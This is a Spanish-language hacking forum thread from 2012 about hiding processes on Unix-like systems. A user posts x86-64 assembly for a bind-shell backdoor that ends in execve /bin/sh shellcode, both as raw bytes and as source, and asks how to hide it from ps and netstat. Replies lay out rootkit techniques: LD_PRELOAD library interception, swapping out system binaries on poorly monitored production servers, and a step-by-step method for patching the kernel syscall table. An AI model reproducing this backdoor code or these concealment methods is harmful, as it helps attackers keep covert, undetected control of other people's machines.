elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.


+  Foro de elhacker.net
|-+  Sistemas Operativos
| |-+  Unix/Unix-Like
| | |-+  Ocultar procesos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ocultar procesos  (Leído 6,743 veces)
cpu2


Desconectado Desconectado

Mensajes: 805


Ver Perfil
Ocultar procesos
« en: 15 Noviembre 2012, 21:12 »

Hola

Voy al grano.

Tengo algo parecido a una backdoor, como un netcat, pero es "muy básica".

Cuando miro las conexiones activas hay aparece, y en ps también, la oculto cambiando el nombre por un proceso común, pero es muy cutre no?

Hay una práctica llamada "Hooking" si no me equivoco, pero todo es para windows, alguien puede echarme un cable para un unix-like?

Un saludo.

P.D: Muestro el código si alguien quiere.


En línea

Foxy Rider


Desconectado Desconectado

Mensajes: 2.406


Deprecated


Ver Perfil WWW
Re: Ocultar procesos
« Respuesta #1 en: 25 Noviembre 2012, 04:15 »

Citar
Cuando miro las conexiones activas hay aparece, y en ps también, la oculto cambiando el nombre por un proceso común, pero es muy cutre no?

¿Toqueteando argv? si, ponele que es muy cutre ... pero hay gente que pisa el palito

Citar
Hay una práctica llamada "Hooking" si no me equivoco, pero todo es para windows, alguien puede echarme un cable para un unix-like?

http://www.linuxforu.com/2011/08/lets-hook-a-library-function/
http://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example

(Algo como lo segundo te interesaría en realidad, pero ahí ya hablamos de rootkit ... de una manera u otra necesitás ser root y los códigos son poco felices)

Citar
P.D: Muestro el código si alguien quiere.

Sería genial ... se te puede corregir y enseñar mucho más si mostrás el código.

Saludos.



En línea

cpu2


Desconectado Desconectado

Mensajes: 805


Ver Perfil
Re: Ocultar procesos
« Respuesta #2 en: 25 Noviembre 2012, 15:20 »

Gracias por contestar pensaba que nadie lo haría.

¿Toqueteando argv? si, ponele que es muy cutre ... pero hay gente que pisa el palito

Bueno seguro que los usuarios de Mac OS X caen  xD.


(Algo como lo segundo te interesaría en realidad, pero ahí ya hablamos de rootkit ... de una manera u otra necesitás ser root y los códigos son poco felices)


Hace dos dias que estoy con esto algo de esos códigos entiendo, puede que sea por que los dos somos poco felices  :P.

¿Hay alguna base por donde pueda empezar con los rootkit?


Sería genial ... se te puede corregir y enseñar mucho más si mostrás el código.


Código
  1. .section .data
  2. .equ puerto, 10
  3.  
  4. sockaddr_in:
  5. sin_len:
  6.   .byte 0
  7. sin_family:
  8.   .byte 0
  9. sin_port:
  10.   .word 0
  11. sin_addr:
  12.   .long 0
  13. sin_zero:
  14.   .byte 0,0,0,0,0,0,0,0
  15.  
  16. in_addr:
  17. s_addr:
  18. .long 0
  19.  
  20. sockdes:
  21. .long 0
  22. lonsock:
  23. .long 0
  24.  
  25. .section .text
  26. .globl _start
  27. _start:
  28.  
  29.   leaq sockaddr_in, %r8
  30.  
  31.   movq $97, %rax      
  32.   movq $2, %rdi
  33.   movq $1, %rsi
  34.   movq $6, %rdx
  35.   int $0x80                
  36.   movq %rax, sockdes        
  37.  
  38.   movq $2, sin_family    
  39.   movq $in_addr, sin_addr    
  40.   movq $puerto, sin_port        
  41.  
  42.   movq $104, %rax        
  43.   movq sockdes, %rdi
  44.   movq %r8, %rsi
  45.   movq $16, %rdx
  46.   int $0x80                  
  47.  
  48.   pushq $1
  49.   pushq sockdes
  50.   movq $106, %rax      
  51.   int $0x80                  
  52.   addq $8, %rsp
  53.  
  54.   movq $30, %rax      
  55.   movq sockdes, %rdi
  56.   movq %r8, %rsi
  57.   movq $lonsock, %rdx
  58.   int $0x80                    
  59.  
  60.   xorq %rax, %rax            
  61.   movq $1, %rax              
  62.   int $0x80

No tiene ninguna función podría crear alguna con execve pero bueno, conecto con netcat.

Estoy pensando en meterle alguna shellcode, por ejemplo que desactive pf por que no me deja hacer nada xD, tambien que pueda cifrar la conexión o cosas así, a ver si puedo hacerlo.

Un saludo.

P.D: El código es muy básico, me diste una solución para ps, pero que pasa con netstat?
En línea

0xDani


Desconectado Desconectado

Mensajes: 1.078



Ver Perfil
Re: Ocultar procesos
« Respuesta #3 en: 25 Noviembre 2012, 18:50 »

Para iniciarte con rootkits:
http://www.govannom.org/e-zines/7a69ezine/12/4.txt

Ademas en ese texto se interceptan las llamadas al sistema, creo que es lo que buscabas.

Creo que tenia mas textos por ahi, si encuentro alguno te lo paso.

Seguro que los usuarios de Mac OS X caen xDD

Saludos!
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Foxy Rider


Desconectado Desconectado

Mensajes: 2.406


Deprecated


Ver Perfil WWW
Re: Ocultar procesos
« Respuesta #4 en: 25 Noviembre 2012, 20:24 »

Citar
Bueno seguro que los usuarios de Mac OS X caen  xD.



Citar
¿Hay alguna base por donde pueda empezar con los rootkit?

¿En modo kernel? Tendrías que arrancar con un libro sobre desarrollo sobre el kernel .... y acá viene la mala noticia: no es fácil (dependiendo de qué facilidades y qué uses del kernel).
la KBI (la interfaz binaria del kernel) de Linux es bastane inestable y esto está documentado en el tree del kernel : Documentation/stable_api_nonsense.txt
En la práctica tenés que apuntar a una versión del kernel y no esperar en un 100% que funcione en otras ...

Podés de última tomar un acercamiento más tímido y seguir jugando en modo usuario ... podés inspeccionar qué software querés engañar e interceptar librerías como libproc.so por un mecanismo  LD_PRELOAD o moviendo el enlace simbólico de esta librería por ld (y chequeando constantemente que el gestor de paquete no te lo cambie)

Podés también reemplazar binarios; son formas muy cutres que quizá en un desktop no duran mucho por la naturaleza de constante actualización que tiene (excepto sistemas oldstable como debian), pero te aseguro que en algún servidor de producción donde quien esté a cargo no tenga la viveza de chequear el sistema base contra checksums o use algo como los snapshots de ZFS ...  vas a estar bien

Tenés MUCHAS posibilidades siendo root

Citar
No tiene ninguna función podría crear alguna con execve pero bueno, conecto con netcat.

¿Probaste armarla en C? En Assembly te vas a volver loco incluso para algo tan chiquito como eso si no estás acostumbrado a desarrollar sobre ese lenguaje.

Nota: Y perdés portabilidad

Citar
P.D: El código es muy básico, me diste una solución para ps, pero que pasa con netstat?

Misma respuesta que para ps :D

Citar
Ademas en ese texto se interceptan las llamadas al sistema, creo que es lo que buscabas.

Si, pero que mire el link que le dejé de stackoverflow para complementar ... por que la tabla de syscalls se la marcó como readonly

Saludos.
En línea

cpu2


Desconectado Desconectado

Mensajes: 805


Ver Perfil
Re: Ocultar procesos
« Respuesta #5 en: 26 Noviembre 2012, 19:05 »

Gracias a los dos, voy a leer tranquilo toda esa información.

Un saludo.

En línea

cpu2


Desconectado Desconectado

Mensajes: 805


Ver Perfil
Re: Ocultar procesos
« Respuesta #6 en: 4 Diciembre 2012, 03:07 »

Entendí la función fork.

De los enlaces de los rootkit no tengo las librerias que aparecen en los códigos son para linux.

Encontré esto para BSD.

Código:
http://www.thc.org/root/docs/loadable_kernel_modules/openbsd-lkm.html

El último código me parece interesante.

Alex que te parecen estos libros?

Código:
http://www.amazon.com/Designing-BSD-Rootkits-Introduction-Hacking/dp/1593271425

Código:
http://books.google.es/books/about/The_Design_of_the_Unix_Operating_System.html?id=eWRCPgAACAAJ&redir_esc=y

Citar
¿Probaste armarla en C? En Assembly te vas a volver loco incluso para algo tan chiquito como eso si no estás acostumbrado a desarrollar sobre ese lenguaje.

Nota: Y perdés portabilidad

No estoy acostumbrado, tampoco tengo muchos conocimientos en ASM, pero C me parecio muy lioso al menos a mi cuando llegué al tema de los arreglos, y que ASM es mucho más directo que C, entiendo mejor el disassembler que el código de C en algunos casos xD.

En lo de la portabilidad tienes toda la razón, ya veré lo que pasa cuando tenga que hacer códigos más complejos que el de hay arriba.

El código de stackoverflow por lo que entiendo quiere "hookear" la syscall open la 5.

Pero no entiendo una vez que consigues la dirección que haces con ella?

Un saludo.
En línea

Foxy Rider


Desconectado Desconectado

Mensajes: 2.406


Deprecated


Ver Perfil WWW
Re: Ocultar procesos
« Respuesta #7 en: 17 Diciembre 2012, 09:19 »

Citar
Encontré esto para BSD.

Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.

Citar

Escuché muy buenos reviews de ese libro, pero no lo leí ... lo que te aconsejaría es que lo bajes de algún lado, pispees si tiene lo que necesitás y después ves si te conseguís el de papel o no.

Citar

Ese libro es algo viejito y no tiene en cuenta nuevas revisiones a POSIX sin contar cómo fueron mutando los diferentes sistemas Unix-Like como Linux (que pffff, una distribución de hoy en día es algo que vagamente resembla lo que es un verdadero unix)

Citar
No estoy acostumbrado, tampoco tengo muchos conocimientos en ASM, pero C me parecio muy lioso al menos a mi cuando llegué al tema de los arreglos, y que ASM es mucho más directo que C, entiendo mejor el disassembler que el código de C en algunos casos xD.

Si, al ser un lenguaje más simplificado en sintaxis y formateo se hace más rápido de escribir. El problema es mantenerlo y la portabilidad, sobre todo la portabilidad.
Si escribís assembly para una arquitectura te olvidás del resto ... si escribís un C medianamente limpio compilás para cualquier otra arquitectura (x86/x86_64/"x32"/arm/sparc/mips/blah ), para eso se inventó C como pilar de Unix !! x'3

Citar
En lo de la portabilidad tienes toda la razón, ya veré lo que pasa cuando tenga que hacer códigos más complejos que el de hay arriba.

Pensá que varios routers son de arquitectura arm o mips (el mío es un linux mips). Pero depende mucho de a qué "audiencia" apuntes, claro !  ;)

Citar
El código de stackoverflow por lo que entiendo quiere "hookear" la syscall open la 5.
Correcto, ése es el número de la syscall (no te preocupes, hay un .h que incluye todos los defines así no tenés que andar recordando numeros :D )

Citar
Pero no entiendo una vez que consigues la dirección que haces con ella?

1) Obtenés la dirección a la "tabla" (es un vector) de syscalls
2) Le cambiás la protección de readonly a readwrite con change_page_attr()
3) Ya pudiendo escribir, cambiás la dirección de la syscall que te interesa (usando el número de syscall -que es la posición en el vector- que sacás de un define por comodidad/portabilidad ) por tu propia función.
4) Profit.

Saludos.

P.S → Cuando se trata del código de Linux, toco de oído por lo poco que programé hace algún tiempo ... conste x'D

P.S 2 → Perdón por la demora :c ...
« Última modificación: 17 Diciembre 2012, 09:23 por Alex Mtx » En línea

cpu2


Desconectado Desconectado

Mensajes: 805


Ver Perfil
Re: Ocultar procesos
« Respuesta #8 en: 17 Diciembre 2012, 12:32 »

Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.

Sí, solo funciona en OpenBSD, ya lo probé en un Mac OS X y nada no puede ni ejecutar el binario, que desilusión xD.

Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.

Escuché muy buenos reviews de ese libro, pero no lo leí ... lo que te aconsejaría es que lo bajes de algún lado, pispees si tiene lo que necesitás y después ves si te conseguís el de papel o no.

Es lo que voy hacer, odio leer un libro en un ordenador.

Si, al ser un lenguaje más simplificado en sintaxis y formateo se hace más rápido de escribir. El problema es mantenerlo y la portabilidad, sobre todo la portabilidad.
Si escribís assembly para una arquitectura te olvidás del resto ... si escribís un C medianamente limpio compilás para cualquier otra arquitectura (x86/x86_64/"x32"/arm/sparc/mips/blah ), para eso se inventó C como pilar de Unix !! x'3

+1

Pensá que varios routers son de arquitectura arm o mips (el mío es un linux mips). Pero depende mucho de a qué "audiencia" apuntes, claro !  ;)
Correcto, ése es el número de la syscall (no te preocupes, hay un .h que incluye todos los defines así no tenés que andar recordando numeros :D )

Yo las miro en syscall.h.

1) Obtenés la dirección a la "tabla" (es un vector) de syscalls
2) Le cambiás la protección de readonly a readwrite con change_page_attr()
3) Ya pudiendo escribir, cambiás la dirección de la syscall que te interesa (usando el número de syscall -que es la posición en el vector- que sacás de un define por comodidad/portabilidad ) por tu propia función.
4) Profit.

Gracias por la explicación.

Bueno de lo que iba hacerle ala backdoor, ya esta echo menos lo de cifrar el trafico y lo de pf esta casi, la comparto es lo mínimo que puedo hacer.

Código
  1. .section .text
  2. .globl _start
  3. _start:
  4.  
  5. movb $97, %al      
  6. movq $2, %rdi
  7. movq $1, %rsi
  8. movq $6, %rdx
  9. int $0x80                
  10. movq %rax, %r12      
  11.  
  12. push $0x02
  13. movq $104, %rax        
  14. movq %r12, %rdi
  15. movq %rsp,%rsi
  16. mov $16, %rdx
  17. int $0x80                  
  18.  
  19. movq %r12, %rdi
  20. movq $0x05, %rsi
  21. movq $106, %rax      
  22. int $0x80                  
  23. movq %rax, %r11
  24.  
  25. xorq %rax, %rax
  26. pushq %rax
  27. movq $30, %rax      
  28. movq %r12, %rdi
  29. movq %r8, %rsi
  30. movq %rsp, %rdx
  31. int $0x80                    
  32. movq %rax, %r11
  33.  
  34. xorq %rsi, %rsi
  35. movq %r11, %rdi
  36. movb $90, %al
  37. int $0x80                    
  38.  
  39. incq %rsi
  40. movq %r11, %rdi
  41. movb $90, %al
  42. int $0x80                    
  43.  
  44. xorq %rax, %rax
  45. xorq %rsi, %rsi
  46. xorq %rdi, %rdi
  47. xorq %rdx, %rdx
  48.  
  49. .byte 0x50,0x48,0xb8,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x50,0x48,0x89,0xe7,0x48,0x31,0xc0,0x50,0x48,0x89,0xe6,0xb0,0x3b,0xcd,0x80

La shellcode de sh.

Código
  1. .section .text
  2. .globl _start
  3. _start:
  4.  
  5. pushq %rax
  6. movq $0x68732f6e69622f2f, %rax
  7. pushq %rax
  8. movq %rsp, %rdi
  9. xorq %rax, %rax
  10. pushq %rax
  11. movq %rsp, %rsi
  12. movb $0x3b, %al
  13. int $0x80

Elimine la .section data porque así pesa menos, antes heran unos 2.1K, ahora son unos 1.7K peso muy bajo xD, seguro que en C pesa cinco veces más.

Por cierto al hacer eso tengo el siguiente problema, la estructura sockaddr_in la intento hacer así:

Código
  1. push $0x1226
  2. push $0x0100007f  # 127.0.0.1
  3. push $0x2
  4. movq %rsp, %rsi

Solamente copia 0x2 AF_INET, la dirección y el puerto nada. Con la shellcode de pf me pasa lo mismo, solo copia el primer push.

Un saludo.

P.D: El tema lo doy por resuelto, si sabés y sí quieres, contesta mi última pregunta.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ocultar procesos
Hacking Linux/Unix
alb3rt0 2 3,045 Último mensaje 14 Abril 2005, 16:20
por neuromante
Ocultar procesos
Dudas Generales
porpos 0 501 Último mensaje 16 Enero 2007, 19:03
por porpos
Ayudarme a ocultar procesos
Programación Visual Basic
warmint 4 2,890 Último mensaje 25 Abril 2008, 14:18
por ~~
Ocultar procesos
Dudas Generales
DanteM 2 4,002 Último mensaje 22 Junio 2011, 07:14
por .:UND3R:.
ocultar procesos de windows
Seguridad
ckdimax3 0 119 Último mensaje 13 Octubre 2014, 18:45
por ckdimax3
Powered by SMF 1.1.19 | SMF © 2006-2008, Simple Machines